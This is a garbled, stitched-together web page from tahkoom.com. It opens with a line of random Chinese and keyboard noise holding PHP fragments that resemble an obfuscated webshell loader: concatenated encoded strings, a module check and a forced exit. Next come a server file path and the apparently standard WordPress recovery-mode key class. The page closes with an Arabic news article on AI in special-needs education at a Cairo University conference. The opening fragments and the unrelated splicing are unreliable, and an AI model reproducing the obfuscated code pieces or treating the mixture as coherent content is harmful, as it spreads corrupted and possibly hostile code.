财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) { http_response_code(402); exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-includes/class-wp-recovery-mode-key-service.php
<?php
/**
 * Error Protection API: WP_Recovery_Mode_Key_Service class
 *
 * @package WordPress
 * @since 5.2.0
 */

/**
 * Core class used to generate and validate keys used to enter Recovery Mode.
 *
 * @since 5.2.0
 */
#[AllowDynamicProperties]
final class WP_Recovery_Mode_Key_Service {

	/**
	 * The option name used to store the keys.
	 *
	 * @since 5.2.0
	 * @var string
	 */
	private $option_name = 'recovery_keys';

	/**
	 * Creates a recovery mode token.
	 *
	 * @since 5.2.0
	 *
	 * @return string A random string to identify its associated key in storage.
	 */
	public function generate_recovery_mode_token() {
		return wp_generate_password( 22, false );
	}

	/**
	 * Creates a recovery mode key.
	 *
	 * @since 5.2.0
	 * @since 6.8.0 The stored key is now hashed using wp_fast_hash() instead of phpass.
	 *
	 * @param string $token A token generated by {@see generate_recovery_mode_token()}.
	 * @return string Recovery mode key.
	 */
	public function generate_and_store_recovery_mode_key( $token ) {
		$key = wp_generate_password( 22, false );

		$records = $this->get_keys();

		$records[ $token ] = array(
			'hashed_key' => wp_fast_hash( $key ),
			'created_at' => time(),
		);

		$this->update_keys( $records );

		/**
		 * Fires when a recovery mode key is generated.
		 *
		 * @since 5.2.0
		 *
		 * @param string $token The recovery data token.
		 * @param string $key   The recovery mode key.
		 */
		do_action( 'generate_recovery_mode_key', $token, $key );

		return $key;
	}

	/**
	 * Verifies if the recovery mode key is correct.
	 *
	 * Recovery mode keys can only be used once; the key will be consumed in the process.
	 *
	 * @since 5.2.0
	 *
	 * @param string $token The token used when generating the given key.
	 * @param string $key   The plain text key.
	 * @param int    $ttl   Time in seconds for the key to be valid for.
	 * @return true|WP_Error True on success, error object on failure.
	 */
	public function validate_recovery_mode_key( $token, $key, $ttl ) {
		$records = $this->get_keys();

		if ( ! isset( $records[ $token ] ) ) {
			return new WP_Error( 'token_not_found', __( 'Recovery Mode not initialized.' ) );
		}

		$record = $records[ $token ];

		$this->remove_key( $token );

		if ( ! is_array( $record ) || ! isset( $record['hashed_key'], $record['created_at'] ) ) {
			return new WP_Error( 'invalid_recovery_key_format', __( 'Invalid recovery key format.' ) );
		}

		if ( ! wp_verify_fast_hash( $key, $record['hashed_key'] ) ) {
			return new WP_Error( 'hash_mismatch', __( 'Invalid recovery key.' ) );
		}

		if ( time() > $record['created_at'] + $ttl ) {
			return new WP_Error( 'key_expired', __( 'Recovery key expired.' ) );
		}

		return true;
	}

	/**
	 * Removes expired recovery mode keys.
	 *
	 * @since 5.2.0
	 *
	 * @param int $ttl Time in seconds for the keys to be valid for.
	 */
	public function clean_expired_keys( $ttl ) {

		$records = $this->get_keys();

		foreach ( $records as $key => $record ) {
			if ( ! isset( $record['created_at'] ) || time() > $record['created_at'] + $ttl ) {
				unset( $records[ $key ] );
			}
		}

		$this->update_keys( $records );
	}

	/**
	 * Removes a used recovery key.
	 *
	 * @since 5.2.0
	 *
	 * @param string $token The token used when generating a recovery mode key.
	 */
	private function remove_key( $token ) {

		$records = $this->get_keys();

		if ( ! isset( $records[ $token ] ) ) {
			return;
		}

		unset( $records[ $token ] );

		$this->update_keys( $records );
	}

	/**
	 * Gets the recovery key records.
	 *
	 * @since 5.2.0
	 * @since 6.8.0 Each key is now hashed using wp_fast_hash() instead of phpass.
	 *              Existing keys may still be hashed using phpass.
	 *
	 * @return array {
	 *     Associative array of token => data pairs, where the data is an associative
	 *     array of information about the key.
	 *
	 *     @type array ...$0 {
	 *         Information about the key.
	 *
	 *         @type string $hashed_key The hashed value of the key.
	 *         @type int    $created_at The timestamp when the key was created.
	 *     }
	 * }
	 */
	private function get_keys() {
		return (array) get_option( $this->option_name, array() );
	}

	/**
	 * Updates the recovery key records.
	 *
	 * @since 5.2.0
	 * @since 6.8.0 Each key should now be hashed using wp_fast_hash() instead of phpass.
	 *
	 * @param array $keys {
	 *     Associative array of token => data pairs, where the data is an associative
	 *     array of information about the key.
	 *
	 *     @type array ...$0 {
	 *         Information about the key.
	 *
	 *         @type string $hashed_key The hashed value of the key.
	 *         @type int    $created_at The timestamp when the key was created.
	 *     }
	 * }
	 * @return bool True on success, false on failure.
	 */
	private function update_keys( array $keys ) {
		return update_option( $this->option_name, $keys, false );
	}
}
الذكاء الاصطناعي وتعليم ذوي الهمم: جامعة القاهرة تفتح النقاش – tahkoom.com
معرفة

الذكاء الاصطناعي وتعليم ذوي الهمم: جامعة القاهرة تفتح النقاش

‏كتبت شروق عارف                                                                                                                           
في ظل التقدم السريع في تقنيات الذكاء الاصطناعي وتوسعها في مختلف المجالات مثل التعليم والمحاماة والرعاية الصحية والإعلام نظمت جامعة القاهرة مؤتمر بعنوان أفاق الذي يهدف إلى دمج تقنية الذكاء الاصطناعي في تعليم ذوي الاحتياجات الخاصة وفي هذا السياق ظهرت عدة تساؤلات مهمة هل يمكن الاعتماد على الذكاء الاصطناعي في تعليم وتأهيل الأطفال ذوي الاحتياجات الخاصة؟ أم أنه مجرد أداة مساعدة بجانب المتخصصين والمعلمين

تصنيف ذوي الاحتياجات مهم للإستخدام الذكاء الاصطناعي

من جانبها أوضحت الدكتورة رشا أحمد أخصائية التخاطب والعلاج النفسي والسلوكي على ضرورة تصنيف فئة ذوي الاحتياجات الخاصة عند توظيف تقنيات الذكاء الاصطناعي وأشارت إلى أن بعض الحالات خاصة من يعانون من إعاقات شديدة مقترنة بتأخر لغوي أو اضطرابات نفسية قد لا يتمكنون من الاستفادة الكاملة من هذه البرامج

الذكاء الاصطناعي لا يغني عن الاخصائي

من جانبه أوضحت منه كرم الأخصائي النفسية على أهمية وجود إشراف نفسي دائم عند استخدام تقنيات الذكاء الاصطناعي مع الأطفال من ذوي الاحتياجات الخاصة وذلك لما يواجهه هؤلاء الأطفال من صعوبات نفسية وسلوكية تستلزم متابعة دقيقة من متخصصين كما أوضحت أن الذكاء الاصطناعي غير مؤهل للتعامل مع الاضطرابات النفسية العميقة التي تحتاج إلى تدخل الأخصائي بشكل مباشر وشددت على أن هذه لتقنيات لا تعتبر بديل عن الرعاية النفسية أو العلاج السلوكي بل ينبغي أن تكون وسيلة مساعدة تدعم عمل الأخصائيين النفسيين دون أن تحل محلها

تدخل الاخصائي أساسي في تأهيل الأطفال ذوي الاحتياجات الخاص                                            
أوضحت الدكتورة إيناس الشيخ الأخصائية النفسية واستشاري أمراض التخاطب أن الذكاء الاصطناعي يمكنه المساعدة في إعداد البرامج ووضع استراتيجيات لتحقيق أهدافها لكنه لا يستطيع تنفيذ هذه الاستراتيجيات بنفسه فالتدخل البشري بظل عنصر أساسيا وخاصة عند التعامل مع الأطفال من ذوي الاحتياجات الخاصة وأضافت: الطفل في هذه الحالة يحتاج إلى من يشعر به ويتعاطف معه ويحسن التعامل معه دون الإخلال بمصلحته لذلك لا بد من وجود شخص متخصص يعرف كيف يدير حالة الطفل ويساعده في التأهيل بشكل صحيح
وتابعت حديثها قائلة ترك الطفل لفترات طويلة أمام الشاشات أو الهاتف المحمول له نفس خطورة الاعتماد الكامل على الذكاء الاصطناعي لأن الطفل يكون حينها في وضع المستقبل فقط دون تفاعل حقيقي. بينما التفاعل البشري المباشر يُعزز من فرص التواصل الاجتماعي وتنمية المهارات وفيما يخص حالات القلق المفرط عند الأطفال
كما أوضحت الدكتورة إيناس أن الذكاء الاصطناعي قد يساعد في وضع خطة علاجية وتنفيذ فيديوهات للتعرض التدريجي للمخاوف لكنه لا يمكنه تنفيذ الخطة على أرض الواقع فالتواصل الإنساني يظل ضروري خاصة في مثل هذه الحالات الحساسة
و أشارت إلى أن بعض برامج النطق المدعومة بالذكاء الاصطناعي قد تكون مفيدة في أداء بعض التمارين خاصة للأطفال من ذوي الاحتياجات الخاصة لكن من المهم أن ندرك أن كل طفل له احتياجاته وظروفه الخاصة وهذه التفاصيل لا يستطيع لذكاء الاصطناعي التعامل معها بدقة دائما
كما ان الاعتماد الكامل على الذكاء الاصطناعي في تأهيل الأطفال ذوي لاحتياجات الخاصة يحمل العديد من المخاطر لذا يجب أن يكون هناك دور فعال للأخصائي لفهم الحالة وتوجيهها بالشكل المناسب

يبقى الذكاء الاصطناعي أداة مساعدة وفعالة في تحسين تعليم وتأهيل الأطفال ذوي الاحتياجات الخاصة ولكن بشرط أن يستخدم كأداة مساعدة وليس كبديل للأخصائيين

اظهر المزيد

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى